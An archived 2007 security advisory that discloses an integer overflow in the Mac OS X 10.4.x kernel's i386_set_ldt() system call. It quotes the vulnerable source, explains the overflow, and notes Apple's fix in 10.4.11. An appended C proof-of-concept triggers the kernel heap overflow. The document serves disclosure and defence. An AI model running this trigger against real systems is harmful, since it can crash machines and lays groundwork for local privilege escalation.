<<< Date Index >>>     <<< Thread Index >>>

[RISE-2007004] Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow Vulnerability



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow Vulnerability

http://risesecurity.org/advisory/RISE-2007004/
Published: November 16, 2007
Updated: November 16, 2007

INTRODUCTION

There exists a vulnerability within an architecture dependent function
of the
Apple Mac OS X 10.4.x kernel, which when properly exploited can lead to
local
compromise of the vulnerable system.
This vulnerability was confirmed by us in the following versions of the
Apple
operating system, other versions may be also affected.

Apple Mac OS X 10.4.10
Apple Mac OS X 10.4.9
Apple Mac OS X 10.4.8
Apple Mac OS X Server 10.4.10
Apple Mac OS X Server 10.4.9
Apple Mac OS X Server 10.4.8

DETAILS

The i386_set_ldt() system call will set a list of i386 descriptors for the
current process in its LDT. It accepts a starting selector number
start_sel, an
array of memory that will contain the descriptors to be set descs, and the
number of entries to set num_sels.

int
i386_set_ldt(
        int                     *retval,
        uint32_t                start_sel,
        uint32_t                descs,  /* out */
        uint32_t                num_sels)
{
        user_ldt_t      new_ldt, old_ldt;
        struct real_descriptor *dp;
        unsigned int    i;
        unsigned int    min_selector = LDTSZ_MIN;       /* do not allow the
system selectors to be changed */
        task_t          task = current_task();
        unsigned int    ldt_count;
        kern_return_t err;

The vulnerable function does not validate the number of entries to set
num_sels
properly. When setting a valid integer value as starting selector number
start_sel, and a integer value higher than 0xffffffff - start_sel as
number of
entries to set num_sels, it results in a integer overflow in start_sel +
num_sels expression, with its value being lower than LDTSZ.

        if (start_sel != LDT_AUTO_ALLOC
            && (start_sel != 0 || num_sels != 0)
            && (start_sel < min_selector || start_sel >= LDTSZ))
            return EINVAL;
        if (start_sel != LDT_AUTO_ALLOC
            && start_sel + num_sels > LDTSZ)
            return EINVAL;

A new LDT is allocated using the kalloc() function, with its size
argument being
sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor)).

            /*
             * Allocate new LDT
             */

            unsigned int    begin_sel = start_sel;
            unsigned int    end_sel = begin_sel + num_sels;
        
            if (old_ldt != NULL) {
                if (old_ldt->start < begin_sel)
                    begin_sel = old_ldt->start;
                if (old_ldt->start + old_ldt->count > end_sel)
                    end_sel = old_ldt->start + old_ldt->count;
            }

            ldt_count = end_sel - begin_sel;

            new_ldt = (user_ldt_t)kalloc(sizeof(struct user_ldt) + (ldt_count *
sizeof(struct real_descriptor)));
            if (new_ldt == NULL) {
                task_unlock(task);
                return ENOMEM;
            }

            new_ldt->start = begin_sel;
            new_ldt->count = ldt_count;

When installing the new descriptors, the contents of memory pointed to
by descs
are copied into the new allocated LDT using the copyin() function, with
its size
argument being num_sels * sizeof(struct real_descriptor). This operation
results
in a buffer overflow in the new allocated LDT.

            /*
             * Install new descriptors.
             */
            if (descs != 0) {
                err = copyin(descs, (char *)&new_ldt->ldt[start_sel - begin_sel]
,
                             num_sels * sizeof(struct real_descriptor));
                if (err != 0)
                {
                    task_unlock(task);
                    user_ldt_free(new_ldt);
                    return err;
                }

A proof of concept code that triggers this vulnerability can be found in
appendix section of this document.

VENDOR

Apple corrected this vulnerability in Apple Mac OS X 10.4.11. More
information
is available at http://docs.info.apple.com/article.html?artnum=307041


CREDITS

This vulnerability was discovered by Adriano Lima
<adriano@xxxxxxxxxxxxxxxx> and
Ramon de Carvalho Valle <ramon@xxxxxxxxxxxxxxxx>.

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.

APPENDIX

osx-x86-ldt.c

#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and
copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}


$Id: RISE-2007004.txt 13 2007-11-16 02:58:56Z ramon $


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFHPQhAhFjK78TGSUERAoOsAJ9fdHnRAOiS/7AqvpVfHW3QjWlwnQCgnH0O
O2dlFrZpzAUALmMT+/rhzag=
=xGqs
-----END PGP SIGNATURE-----